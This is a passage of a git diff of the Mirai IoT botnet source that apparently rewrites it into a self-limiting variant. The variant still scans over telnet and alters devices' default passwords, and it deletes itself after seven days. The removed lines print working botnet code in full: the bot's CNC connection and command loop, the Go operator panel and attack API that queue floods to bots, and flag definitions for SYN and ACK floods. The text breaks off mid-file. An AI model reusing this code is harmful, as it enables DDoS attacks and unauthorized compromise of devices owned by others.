||||
*/
|
||||
|
||||
static BOOL memory_scan_match(char *path)
|
||||
{
|
||||
int fd, ret;
|
||||
char rdbuf[4096];
|
||||
char *m_qbot_report, *m_qbot_http, *m_qbot_dup, *m_upx_str, *m_zollard;
|
||||
int m_qbot_len, m_qbot2_len, m_qbot3_len, m_upx_len, m_zollard_len;
|
||||
BOOL found = FALSE;
|
||||
|
||||
if ((fd = open(path, O_RDONLY)) == -1)
|
||||
return FALSE;
|
||||
|
||||
table_unlock_val(TABLE_MEM_QBOT);
|
||||
table_unlock_val(TABLE_MEM_QBOT2);
|
||||
table_unlock_val(TABLE_MEM_QBOT3);
|
||||
table_unlock_val(TABLE_MEM_UPX);
|
||||
table_unlock_val(TABLE_MEM_ZOLLARD);
|
||||
|
||||
m_qbot_report = table_retrieve_val(TABLE_MEM_QBOT, &m_qbot_len);
|
||||
m_qbot_http = table_retrieve_val(TABLE_MEM_QBOT2, &m_qbot2_len);
|
||||
m_qbot_dup = table_retrieve_val(TABLE_MEM_QBOT3, &m_qbot3_len);
|
||||
m_upx_str = table_retrieve_val(TABLE_MEM_UPX, &m_upx_len);
|
||||
m_zollard = table_retrieve_val(TABLE_MEM_ZOLLARD, &m_zollard_len);
|
||||
|
||||
while ((ret = read(fd, rdbuf, sizeof (rdbuf))) > 0)
|
||||
{
|
||||
if (mem_exists(rdbuf, ret, m_qbot_report, m_qbot_len) ||
|
||||
mem_exists(rdbuf, ret, m_qbot_http, m_qbot2_len) ||
|
||||
mem_exists(rdbuf, ret, m_qbot_dup, m_qbot3_len) ||
|
||||
mem_exists(rdbuf, ret, m_upx_str, m_upx_len) ||
|
||||
mem_exists(rdbuf, ret, m_zollard, m_zollard_len))
|
||||
{
|
||||
found = TRUE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
table_lock_val(TABLE_MEM_QBOT);
|
||||
table_lock_val(TABLE_MEM_QBOT2);
|
||||
table_lock_val(TABLE_MEM_QBOT3);
|
||||
table_lock_val(TABLE_MEM_UPX);
|
||||
table_lock_val(TABLE_MEM_ZOLLARD);
|
||||
|
||||
close(fd);
|
||||
|
||||
return found;
|
||||
}
|
||||
|
||||
static BOOL mem_exists(char *buf, int buf_len, char *str, int str_len)
|
||||
{
|
||||
int matches = 0;
|
||||
|
||||
if (str_len > buf_len)
|
||||
return FALSE;
|
||||
|
||||
while (buf_len--)
|
||||
{
|
||||
if (*buf++ == str[matches])
|
||||
{
|
||||
if (++matches == str_len)
|
||||
return TRUE;
|
||||
}
|
||||
else
|
||||
matches = 0;
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
|
@ -1,19 +0,0 @@
|
|||
#pragma once
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#define KILLER_MIN_PID 400
|
||||
#define KILLER_RESTART_SCAN_TIME 600
|
||||
|
||||
#define KILLER_REBIND_TELNET
|
||||
// #define KILLER_REBIND_SSH
|
||||
// #define KILLER_REBIND_HTTP
|
||||
|
||||
void killer_init(void);
|
||||
void killer_kill(void);
|
||||
BOOL killer_kill_by_port(port_t);
|
||||
|
||||
static BOOL has_exe_access(void);
|
||||
static BOOL memory_scan_match(char *);
|
||||
static BOOL status_upx_check(char *, char *);
|
||||
static BOOL mem_exists(char *, int, char *, int);
|
221
mirai/bot/main.c
221
mirai/bot/main.c
|
@ -18,8 +18,7 @@
|
|||
#include "includes.h"
|
||||
#include "table.h"
|
||||
#include "rand.h"
|
||||
#include "attack.h"
|
||||
#include "killer.h"
|
||||
#include "patch.h"
|
||||
#include "scanner.h"
|
||||
#include "util.h"
|
||||
#include "resolv.h"
|
||||
|
@ -67,16 +66,6 @@ int main(int argc, char **args)
|
|||
signal(SIGCHLD, SIG_IGN);
|
||||
signal(SIGTRAP, &anti_gdb_entry);
|
||||
|
||||
// Prevent watchdog from rebooting device
|
||||
if ((wfd = open("/dev/watchdog", 2)) != -1 ||
|
||||
(wfd = open("/dev/misc/watchdog", 2)) != -1)
|
||||
{
|
||||
int one = 1;
|
||||
|
||||
ioctl(wfd, 0x80045704, &one);
|
||||
close(wfd);
|
||||
wfd = 0;
|
||||
}
|
||||
chdir("/");
|
||||
#endif
|
||||
|
||||
|
@ -153,14 +142,24 @@ int main(int argc, char **args)
|
|||
close(STDERR);
|
||||
#endif
|
||||
|
||||
attack_init();
|
||||
killer_init();
|
||||
#ifndef DEBUG
|
||||
#ifdef MIRAI_TELNET
|
||||
scanner_init();
|
||||
#endif
|
||||
#endif
|
||||
|
||||
//Remove default password from the device
|
||||
if (!patch_password())
|
||||
{
|
||||
printf("Error in patch_passwords");
|
||||
}
|
||||
|
||||
//We'll call this the installation time. Kill all processes after some amount of time
|
||||
//time_t start = time(NULL);
|
||||
struct timespec start;
|
||||
struct timespec now;
|
||||
timespec_get(&start, TIME_UTC);
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
fd_set fdsetrd, fdsetwr, fdsetex;
|
||||
|
@ -222,201 +221,23 @@ int main(int argc, char **args)
|
|||
#ifdef MIRAI_TELNET
|
||||
scanner_kill();
|
||||
#endif
|
||||
killer_kill();
|
||||
attack_kill_all();
|
||||
kill(pgid * -1, 9);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
// Check if CNC connection was established or timed out or errored
|
||||
if (pending_connection)
|
||||
|
||||
timespec_get(&now, TIME_UTC);
|
||||
if (now.tv_sec > (start.tv_sec + 7*24*3600))
|
||||
{
|
||||
pending_connection = FALSE;
|
||||
|
||||
if (!FD_ISSET(fd_serv, &fdsetwr))
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[main] Timed out while connecting to CNC\n");
|
||||
#endif
|
||||
teardown_connection();
|
||||
}
|
||||
else
|
||||
{
|
||||
int err = 0;
|
||||
socklen_t err_len = sizeof (err);
|
||||
|
||||
getsockopt(fd_serv, SOL_SOCKET, SO_ERROR, &err, &err_len);
|
||||
if (err != 0)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[main] Error while connecting to CNC code=%d\n", err);
|
||||
#endif
|
||||
close(fd_serv);
|
||||
fd_serv = -1;
|
||||
sleep((rand_next() % 10) + 1);
|
||||
}
|
||||
else
|
||||
{
|
||||
uint8_t id_len = util_strlen(id_buf);
|
||||
|
||||
LOCAL_ADDR = util_local_addr();
|
||||
send(fd_serv, "\x00\x00\x00\x01", 4, MSG_NOSIGNAL);
|
||||
send(fd_serv, &id_len, sizeof (id_len), MSG_NOSIGNAL);
|
||||
if (id_len > 0)
|
||||
{
|
||||
send(fd_serv, id_buf, id_len, MSG_NOSIGNAL);
|
||||
}
|
||||
#ifdef DEBUG
|
||||
printf("[main] Connected to CNC. Local address = %d\n", LOCAL_ADDR);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
}
|
||||
else if (fd_serv != -1 && FD_ISSET(fd_serv, &fdsetrd))
|
||||
{
|
||||
int n;
|
||||
uint16_t len;
|
||||
char rdbuf[1024];
|
||||
|
||||
// Try to read in buffer length from CNC
|
||||
errno = 0;
|
||||
n = recv(fd_serv, &len, sizeof (len), MSG_NOSIGNAL | MSG_PEEK);
|
||||
if (n == -1)
|
||||
{
|
||||
if (errno == EWOULDBLOCK || errno == EAGAIN || errno == EINTR)
|
||||
continue;
|
||||
else
|
||||
n = 0; // Cause connection to close
|
||||
}
|
||||
|
||||
// If n == 0 then we close the connection!
|
||||
if (n == 0)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[main] Lost connection with CNC (errno = %d) 1\n", errno);
|
||||
#endif
|
||||
teardown_connection();
|
||||
continue;
|
||||
}
|
||||
|
||||
// Convert length to network order and sanity check length
|
||||
if (len == 0) // If it is just a ping, no need to try to read in buffer data
|
||||
{
|
||||
recv(fd_serv, &len, sizeof (len), MSG_NOSIGNAL); // skip buffer for length
|
||||
continue;
|
||||
}
|
||||
len = ntohs(len);
|
||||
if (len > sizeof (rdbuf))
|
||||
{
|
||||
close(fd_serv);
|
||||
fd_serv = -1;
|
||||
}
|
||||
|
||||
// Try to read in buffer from CNC
|
||||
errno = 0;
|
||||
n = recv(fd_serv, rdbuf, len, MSG_NOSIGNAL | MSG_PEEK);
|
||||
if (n == -1)
|
||||
{
|
||||
if (errno == EWOULDBLOCK || errno == EAGAIN || errno == EINTR)
|
||||
continue;
|
||||
else
|
||||
n = 0;
|
||||
}
|
||||
|
||||
// If n == 0 then we close the connection!
|
||||
if (n == 0)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[main] Lost connection with CNC (errno = %d) 2\n", errno);
|
||||
#endif
|
||||
teardown_connection();
|
||||
continue;
|
||||
}
|
||||
|
||||
// Actually read buffer length and buffer data
|
||||
recv(fd_serv, &len, sizeof (len), MSG_NOSIGNAL);
|
||||
len = ntohs(len);
|
||||
recv(fd_serv, rdbuf, len, MSG_NOSIGNAL);
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[main] Received %d bytes from CNC\n", len);
|
||||
#endif
|
||||
|
||||
if (len > 0)
|
||||
attack_parse(rdbuf, len);
|
||||
//TODO: kill processes
|
||||
scanner_kill();
|
||||
kill(pgid * -1, 9);
|
||||
exit(0);
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void anti_gdb_entry(int sig)
|
||||
{
|
||||
resolve_func = resolve_cnc_addr;
|
||||
}
|
||||
|
||||
static void resolve_cnc_addr(void)
|
||||
{
|
||||
struct resolv_entries *entries;
|
||||
|
||||
table_unlock_val(TABLE_CNC_DOMAIN);
|
||||
entries = resolv_lookup(table_retrieve_val(TABLE_CNC_DOMAIN, NULL));
|
||||
table_lock_val(TABLE_CNC_DOMAIN);
|
||||
if (entries == NULL)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[main] Failed to resolve CNC address\n");
|
||||
#endif
|
||||
return;
|
||||
}
|
||||
srv_addr.sin_addr.s_addr = entries->addrs[rand_next() % entries->addrs_len];
|
||||
resolv_entries_free(entries);
|
||||
|
||||
table_unlock_val(TABLE_CNC_PORT);
|
||||
srv_addr.sin_port = *((port_t *)table_retrieve_val(TABLE_CNC_PORT, NULL));
|
||||
table_lock_val(TABLE_CNC_PORT);
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[main] Resolved domain\n");
|
||||
#endif
|
||||
}
|
||||
|
||||
static void establish_connection(void)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[main] Attempting to connect to CNC\n");
|
||||
#endif
|
||||
|
||||
if ((fd_serv = socket(AF_INET, SOCK_STREAM, 0)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[main] Failed to call socket(). Errno = %d\n", errno);
|
||||
#endif
|
||||
return;
|
||||
}
|
||||
|
||||
fcntl(fd_serv, F_SETFL, O_NONBLOCK | fcntl(fd_serv, F_GETFL, 0));
|
||||
|
||||
// Should call resolve_cnc_addr
|
||||
if (resolve_func != NULL)
|
||||
resolve_func();
|
||||
|
||||
pending_connection = TRUE;
|
||||
connect(fd_serv, (struct sockaddr *)&srv_addr, sizeof (struct sockaddr_in));
|
||||
}
|
||||
|
||||
static void teardown_connection(void)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[main] Tearing down connection to CNC!\n");
|
||||
#endif
|
||||
|
||||
if (fd_serv != -1)
|
||||
close(fd_serv);
|
||||
fd_serv = -1;
|
||||
sleep(1);
|
||||
}
|
||||
|
||||
static void ensure_single_instance(void)
|
||||
{
|
||||
static BOOL local_bind = TRUE;
|
||||
|
@ -456,7 +277,6 @@ static void ensure_single_instance(void)
|
|||
|
||||
sleep(5);
|
||||
close(fd_ctrl);
|
||||
killer_kill_by_port(htons(SINGLE_INSTANCE_PORT));
|
||||
ensure_single_instance(); // Call again, so that we are now the control
|
||||
}
|
||||
else
|
||||
|
@ -467,7 +287,6 @@ static void ensure_single_instance(void)
|
|||
printf("[main] Failed to call listen() on fd_ctrl\n");
|
||||
close(fd_ctrl);
|
||||
sleep(5);
|
||||
killer_kill_by_port(htons(SINGLE_INSTANCE_PORT));
|
||||
ensure_single_instance();
|
||||
#endif
|
||||
}
|
||||
|
|
|
@ -23,7 +23,6 @@ if [ $# == 0 ]; then
|
|||
elif [ "$1" == "release" ]; then
|
||||
rm release/mirai.*
|
||||
rm release/miraint.*
|
||||
go build -o release/cnc cnc/*.go
|
||||
compile_bot i586 mirai.x86 "$FLAGS -DKILLER_REBIND_SSH -static"
|
||||
compile_bot mips mirai.mips "$FLAGS -DKILLER_REBIND_SSH -static"
|
||||
compile_bot mipsel mirai.mpsl "$FLAGS -DKILLER_REBIND_SSH -static"
|
||||
|
@ -46,7 +45,6 @@ elif [ "$1" == "release" ]; then
|
|||
compile_bot m68k miraint.m68k "-static"
|
||||
compile_bot sh4 miraint.sh4 "-static"
|
||||
|
||||
go build -o release/scanListen tools/scanListen.go
|
||||
elif [ "$1" == "debug" ]; then
|
||||
gcc -std=c99 bot/*.c -DDEBUG "$FLAGS" -static -g -o debug/mirai.dbg
|
||||
mips-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.mips
|
||||
|
@ -56,8 +54,6 @@ elif [ "$1" == "debug" ]; then
|
|||
gcc -std=c99 tools/enc.c -g -o debug/enc
|
||||
gcc -std=c99 tools/nogdb.c -g -o debug/nogdb
|
||||
gcc -std=c99 tools/badbot.c -g -o debug/badbot
|
||||
go build -o debug/cnc cnc/*.go
|
||||
go build -o debug/scanListen tools/scanListen.go
|
||||
else
|
||||
echo "Unknown parameter $1: $0 <debug | release>"
|
||||
fi
|
||||
|
|
|
@ -1,269 +0,0 @@
|
|||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"time"
|
||||
"strings"
|
||||
"io/ioutil"
|
||||
"strconv"
|
||||
)
|
||||
|
||||
type Admin struct {
|
||||
conn net.Conn
|
||||
}
|
||||
|
||||
func NewAdmin(conn net.Conn) *Admin {
|
||||
return &Admin{conn}
|
||||
}
|
||||
|
||||
func (this *Admin) Handle() {
|
||||
this.conn.Write([]byte("\033[?1049h"))
|
||||
this.conn.Write([]byte("\xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22"))
|
||||
|
||||
defer func() {
|
||||
this.conn.Write([]byte("\033[?1049l"))
|
||||
}()
|
||||
|
||||
headerb, err := ioutil.ReadFile("prompt.txt")
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
header := string(headerb)
|
||||
this.conn.Write([]byte(strings.Replace(strings.Replace(header, "\r\n", "\n", -1), "\n", "\r\n", -1)))
|
||||
|
||||
// Get username
|
||||
this.conn.SetDeadline(time.Now().Add(60 * time.Second))
|
||||
this.conn.Write([]byte("\033[34;1mпользователь\033[33;3m: \033[0m"))
|
||||
username, err := this.ReadLine(false)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Get password
|
||||
this.conn.SetDeadline(time.Now().Add(60 * time.Second))
|
||||
this.conn.Write([]byte("\033[34;1mпароль\033[33;3m: \033[0m"))
|
||||
password, err := this.ReadLine(true)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
this.conn.SetDeadline(time.Now().Add(120 * time.Second))
|
||||
this.conn.Write([]byte("\r\n"))
|
||||
spinBuf := []byte{'-', '\\', '|', '/'}
|
||||
for i := 0; i < 15; i++ {
|
||||
this.conn.Write(append([]byte("\r\033[37;1mпроверив счета... \033[31m"), spinBuf[i % len(spinBuf)]))
|
||||
time.Sleep(time.Duration(300) * time.Millisecond)
|
||||
}
|
||||
|
||||
var loggedIn bool
|
||||
var userInfo AccountInfo
|
||||
if loggedIn, userInfo = database.TryLogin(username, password); !loggedIn {
|
||||
this.conn.Write([]byte("\r\033[32;1mпроизошла неизвестная ошибка\r\n"))
|
||||
this.conn.Write([]byte("\033[31mнажмите любую клавишу для выхода. (any key)\033[0m"))
|
||||
buf := make([]byte, 1)
|
||||
this.conn.Read(buf)
|
||||
return
|
||||
}
|
||||
|
||||
this.conn.Write([]byte("\r\n\033[0m"))
|
||||
this.conn.Write([]byte("[+] DDOS | Succesfully hijacked connection\r\n"))
|
||||
time.Sleep(250 * time.Millisecond)
|
||||
this.conn.Write([]byte("[+] DDOS | Masking connection from utmp+wtmp...\r\n"))
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
this.conn.Write([]byte("[+] DDOS | Hiding from netstat...\r\n"))
|
||||
time.Sleep(150 * time.Millisecond)
|
||||
this.conn.Write([]byte("[+] DDOS | Removing all traces of LD_PRELOAD...\r\n"))
|
||||
for i := 0; i < 4; i++ {
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
this.conn.Write([]byte(fmt.Sprintf("[+] DDOS | Wiping env libc.poison.so.%d\r\n", i + 1)))
|
||||
}
|
||||
this.conn.Write([]byte("[+] DDOS | Setting up virtual terminal...\r\n"))
|
||||
time.Sleep(1 * time.Second)
|
||||
|
||||
go func() {
|
||||
i := 0
|
||||
for {
|
||||
var BotCount int
|
||||
if clientList.Count() > userInfo.maxBots && userInfo.maxBots != -1 {
|
||||
BotCount = userInfo.maxBots
|
||||
} else {
|
||||
BotCount = clientList.Count()
|
||||
}
|
||||
|
||||
time.Sleep(time.Second)
|
||||
if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0;%d Bots Connected | %s\007", BotCount, username))); err != nil {
|
||||
this.conn.Close()
|
||||
break
|
||||
}
|
||||
i++
|
||||
if i % 60 == 0 {
|
||||
this.conn.SetDeadline(time.Now().Add(120 * time.Second))
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
this.conn.Write([]byte("\033[37;1m[!] Sharing access IS prohibited!\r\n[!] Do NOT share your credentials!\r\n\033[36;1mReady\r\n"))
|
||||
for {
|
||||
var botCatagory string
|
||||
var botCount int
|
||||
this.conn.Write([]byte("\033[32;1m" + username + "@botnet# \033[0m"))
|
||||
cmd, err := this.ReadLine(false)
|
||||
if err != nil || cmd == "exit" || cmd == "quit" {
|
||||
return
|
||||
}
|
||||
if cmd == "" {
|
||||
continue
|
||||
}
|
||||
botCount = userInfo.maxBots
|
||||
|
||||
if userInfo.admin == 1 && cmd == "adduser" {
|
||||
this.conn.Write([]byte("Enter new username: "))
|
||||
new_un, err := this.ReadLine(false)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
this.conn.Write([]byte("Enter new password: "))
|
||||
new_pw, err := this.ReadLine(false)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
this.conn.Write([]byte("Enter wanted bot count (-1 for full net): "))
|
||||
max_bots_str, err := this.ReadLine(false)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
max_bots, err := strconv.Atoi(max_bots_str)
|
||||
if err != nil {
|
||||
this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the bot count")))
|
||||
continue
|
||||
}
|
||||
this.conn.Write([]byte("Max attack duration (-1 for none): "))
|
||||
duration_str, err := this.ReadLine(false)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
duration, err := strconv.Atoi(duration_str)
|
||||
if err != nil {
|
||||
this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the attack duration limit")))
|
||||
continue
|
||||
}
|
||||
this.conn.Write([]byte("Cooldown time (0 for none): "))
|
||||
cooldown_str, err := this.ReadLine(false)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
cooldown, err := strconv.Atoi(cooldown_str)
|
||||
if err != nil {
|
||||
this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the cooldown")))
|
||||
continue
|
||||
}
|
||||
this.conn.Write([]byte("New account info: \r\nUsername: " + new_un + "\r\nPassword: " + new_pw + "\r\nBots: " + max_bots_str + "\r\nContinue? (y/N)"))
|
||||
confirm, err := this.ReadLine(false)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if confirm != "y" {
|
||||
continue
|
||||
}
|
||||
if !database.CreateUser(new_un, new_pw, max_bots, duration, cooldown) {
|
||||
this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to create new user. An unknown error occured.")))
|
||||
} else {
|
||||
this.conn.Write([]byte("\033[32;1mUser added successfully.\033[0m\r\n"))
|
||||
}
|
||||
continue
|
||||
}
|
||||
if userInfo.admin == 1 && cmd == "botcount" {
|
||||
m := clientList.Distribution()
|
||||
for k, v := range m {
|
||||
this.conn.Write([]byte(fmt.Sprintf("\033[36;1m%s:\t%d\033[0m\r\n", k, v)))
|
||||
}
|
||||
continue
|
||||
}
|
||||
if cmd[0] == '-' {
|
||||
countSplit := strings.SplitN(cmd, " ", 2)
|
||||
count := countSplit[0][1:]
|
||||
botCount, err = strconv.Atoi(count)
|
||||
if err != nil {
|
||||
this.conn.Write([]byte(fmt.Sprintf("\033[31;1mFailed to parse botcount \"%s\"\033[0m\r\n", count)))
|
||||
continue
|
||||
}
|
||||
if userInfo.maxBots != -1 && botCount > userInfo.maxBots {
|
||||
this.conn.Write([]byte(fmt.Sprintf("\033[31;1mBot count to send is bigger then allowed bot maximum\033[0m\r\n")))
|
||||
continue
|
||||
}
|
||||
cmd = countSplit[1]
|
||||
}
|
||||
if userInfo.admin == 1 && cmd[0] == '@' {
|
||||
cataSplit := strings.SplitN(cmd, " ", 2)
|
||||
botCatagory = cataSplit[0][1:]
|
||||
cmd = cataSplit[1]
|
||||
}
|
||||
|
||||
atk, err := NewAttack(cmd, userInfo.admin)
|
||||
if err != nil {
|
||||
this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
|
||||
} else {
|
||||
buf, err := atk.Build()
|
||||
if err != nil {
|
||||
this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
|
||||
} else {
|
||||
if can, err := database.CanLaunchAttack(username, atk.Duration, cmd, botCount, 0); !can {
|
||||
this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
|
||||
} else if !database.ContainsWhitelistedTargets(atk) {
|
||||
clientList.QueueBuf(buf, botCount, botCatagory)
|
||||
} else {
|
||||
fmt.Println("Blocked attack by " + username + " to whitelisted prefix")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (this *Admin) ReadLine(masked bool) (string, error) {
|
||||
buf := make([]byte, 1024)
|
||||
bufPos := 0
|
||||
|
||||
for {
|
||||
n, err := this.conn.Read(buf[bufPos:bufPos+1])
|
||||
if err != nil || n != 1 {
|
||||
return "", err
|
||||
}
|
||||
if buf[bufPos] == '\xFF' {
|
||||
n, err := this.conn.Read(buf[bufPos:bufPos+2])
|
||||
if err != nil || n != 2 {
|
||||
return "", err
|
||||
}
|
||||
bufPos--
|
||||
} else if buf[bufPos] == '\x7F' || buf[bufPos] == '\x08' {
|
||||
if bufPos > 0 {
|
||||
this.conn.Write([]byte(string(buf[bufPos])))
|
||||
bufPos--
|
||||
}
|
||||
bufPos--
|
||||
} else if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' {
|
||||
bufPos--
|
||||
} else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' {
|
||||
this.conn.Write([]byte("\r\n"))
|
||||
return string(buf[:bufPos]), nil
|
||||
} else if buf[bufPos] == 0x03 {
|
||||
this.conn.Write([]byte("^C\r\n"))
|
||||
return "", nil
|
||||
} else {
|
||||
if buf[bufPos] == '\x1B' {
|
||||
buf[bufPos] = '^';
|
||||
this.conn.Write([]byte(string(buf[bufPos])))
|
||||
bufPos++;
|
||||
buf[bufPos] = '[';
|
||||
this.conn.Write([]byte(string(buf[bufPos])))
|
||||
} else if masked {
|
||||
this.conn.Write([]byte("*"))
|
||||
} else {
|
||||
this.conn.Write([]byte(string(buf[bufPos])))
|
||||
}
|
||||
}
|
||||
bufPos++
|
||||
}
|
||||
return string(buf), nil
|
||||
}
|
|
@ -1,92 +0,0 @@
|
|||
package main
|
||||
|
||||
import (
|
||||
"net"
|
||||
"time"
|
||||
"strings"
|
||||
"strconv"
|
||||
)
|
||||
|
||||
type Api struct {
|
||||
conn net.Conn
|
||||
}
|
||||
|
||||
func NewApi(conn net.Conn) *Api {
|
||||
return &Api{conn}
|
||||
}
|
||||
|
||||
func (this *Api) Handle() {
|
||||
var botCount int
|
||||
var apiKeyValid bool
|
||||
var userInfo AccountInfo
|
||||
|
||||
// Get command
|
||||
this.conn.SetDeadline(time.Now().Add(60 * time.Second))
|
||||
cmd, err := this.ReadLine()
|
||||
if err != nil {
|
||||
this.conn.Write([]byte("ERR|Failed reading line\r\n"))
|
||||
return
|
||||
}
|
||||
passwordSplit := strings.SplitN(cmd, "|", 2)
|
||||
if apiKeyValid, userInfo = database.CheckApiCode(passwordSplit[0]); !apiKeyValid {
|
||||
this.conn.Write([]byte("ERR|API code invalid\r\n"))
|
||||
return
|
||||
}
|
||||
botCount = userInfo.maxBots
|
||||
cmd = passwordSplit[1]
|
||||
if cmd[0] == '-' {
|
||||
countSplit := strings.SplitN(cmd, " ", 2)
|
||||
count := countSplit[0][1:]
|
||||
botCount, err = strconv.Atoi(count)
|
||||
if err != nil {
|
||||
this.conn.Write([]byte("ERR|Failed parsing botcount\r\n"))
|
||||
return
|
||||
}
|
||||
if userInfo.maxBots != -1 && botCount > userInfo.maxBots {
|
||||
this.conn.Write([]byte("ERR|Specified bot count over limit\r\n"))
|
||||
return
|
||||
}
|
||||
cmd = countSplit[1]
|
||||
}
|
||||
|
||||
atk, err := NewAttack(cmd, userInfo.admin)
|
||||
if err != nil {
|
||||
this.conn.Write([]byte("ERR|Failed parsing attack command\r\n"))
|
||||
return
|
||||
}
|
||||
buf, err := atk.Build()
|
||||
if err != nil {
|
||||
this.conn.Write([]byte("ERR|An unknown error occurred\r\n"))
|
||||
return
|
||||
}
|
||||
if database.ContainsWhitelistedTargets(atk) {
|
||||
this.conn.Write([]byte("ERR|Attack targetting whitelisted target\r\n"))
|
||||
return
|
||||
}
|
||||
if can, _ := database.CanLaunchAttack(userInfo.username, atk.Duration, cmd, botCount, 1); !can {
|
||||
this.conn.Write([]byte("ERR|Attack cannot be launched\r\n"))
|
||||
return
|
||||
}
|
||||
|
||||
clientList.QueueBuf(buf, botCount, "")
|
||||
this.conn.Write([]byte("OK\r\n"))
|
||||
}
|
||||
|
||||
func (this *Api) ReadLine() (string, error) {
|
||||
buf := make([]byte, 1024)
|
||||
bufPos := 0
|
||||
|
||||
for {
|
||||
n, err := this.conn.Read(buf[bufPos:bufPos+1])
|
||||
if err != nil || n != 1 {
|
||||
return "", err
|
||||
}
|
||||
if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' {
|
||||
bufPos--
|
||||
} else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' {
|
||||
return string(buf[:bufPos]), nil
|
||||
}
|
||||
bufPos++
|
||||
}
|
||||
return string(buf), nil
|
||||
}
|
|
@ -1,366 +0,0 @@
|
|||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"strconv"
|
||||
"net"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"github.com/mattn/go-shellwords"
|
||||
)
|
||||
|
||||
type AttackInfo struct {
|
||||
attackID uint8
|
||||
attackFlags []uint8
|
||||
attackDescription string
|
||||
}
|
||||
|
||||
type Attack struct {
|
||||
Duration uint32
|
||||
Type uint8
|
||||
Targets map[uint32]uint8 // Prefix/netmask
|
||||
Flags map[uint8]string // key=value
|
||||
}
|
||||
|
||||
type FlagInfo struct {
|
||||
flagID uint8
|
||||
flagDescription string
|
||||
}
|
||||
|
||||
var flagInfoLookup map[string]FlagInfo = map[string]FlagInfo {
|
||||
"len": FlagInfo {
|
||||
0,
|
||||
"Size of packet data, default is 512 bytes",
|
||||
},
|
||||
"rand": FlagInfo {
|
||||
1,
|
||||
"Randomize packet data content, default is 1 (yes)",
|
||||
},
|
||||
"tos": FlagInfo {
|
||||
2,
|
||||
"TOS field value in IP header, default is 0",
|
||||
},
|
||||
"ident": FlagInfo {
|
||||
3,
|
||||
"ID field value in IP header, default is random",
|
||||
},
|
||||
"ttl": FlagInfo {
|
||||
4,
|
||||
"TTL field in IP header, default is 255",
|
||||
},
|
||||
"df": FlagInfo {
|
||||
5,
|
||||
"Set the Dont-Fragment bit in IP header, default is 0 (no)",
|
||||
},
|
||||
"sport": FlagInfo {
|
||||
6,
|
||||
"Source port, default is random",
|
||||
},
|
||||
"dport": FlagInfo {
|
||||
7,
|
||||
"Destination port, default is random",
|
||||
},
|
||||
"domain": FlagInfo {
|
||||
8,
|
||||
"Domain name to attack",
|
||||
},
|
||||
"dhid": FlagInfo {
|
||||
9,
|
||||
"Domain name transaction ID, default is random",
|
||||
},
|
||||
"urg": FlagInfo {
|
||||
11,
|
||||
"Set the URG bit in IP header, default is 0 (no)",
|
||||
},
|
||||
"ack": FlagInfo {
|
||||
12,
|
||||
"Set the ACK bit in IP header, default is 0 (no) except for ACK flood",
|
||||
},
|
||||
"psh": FlagInfo {
|
||||
13,
|
||||
"Set the PSH bit in IP header, default is 0 (no)",
|
||||
},
|
||||
"rst": FlagInfo {
|
||||
14,
|
||||
"Set the RST bit in IP header, default is 0 (no)",
|
||||
},
|
||||
"syn": FlagInfo {
|
||||
15,
|
||||
"Set the ACK bit in IP header, default is 0 (no) except for SYN flood",
|
||||
},
|
||||
"fin": FlagInfo {
|
||||
16,
|
||||
"Set the FIN bit in IP header, default is 0 (no)",
|
||||
},
|
||||
"seqnum": FlagInfo {
|
||||
17,
|
||||
"Sequence number value in TCP header, default is random",
|
||||
},
|
||||
"acknum": FlagInfo {
|
||||
18,
|
||||
"Ack number value in TCP header, default is random",
|
||||
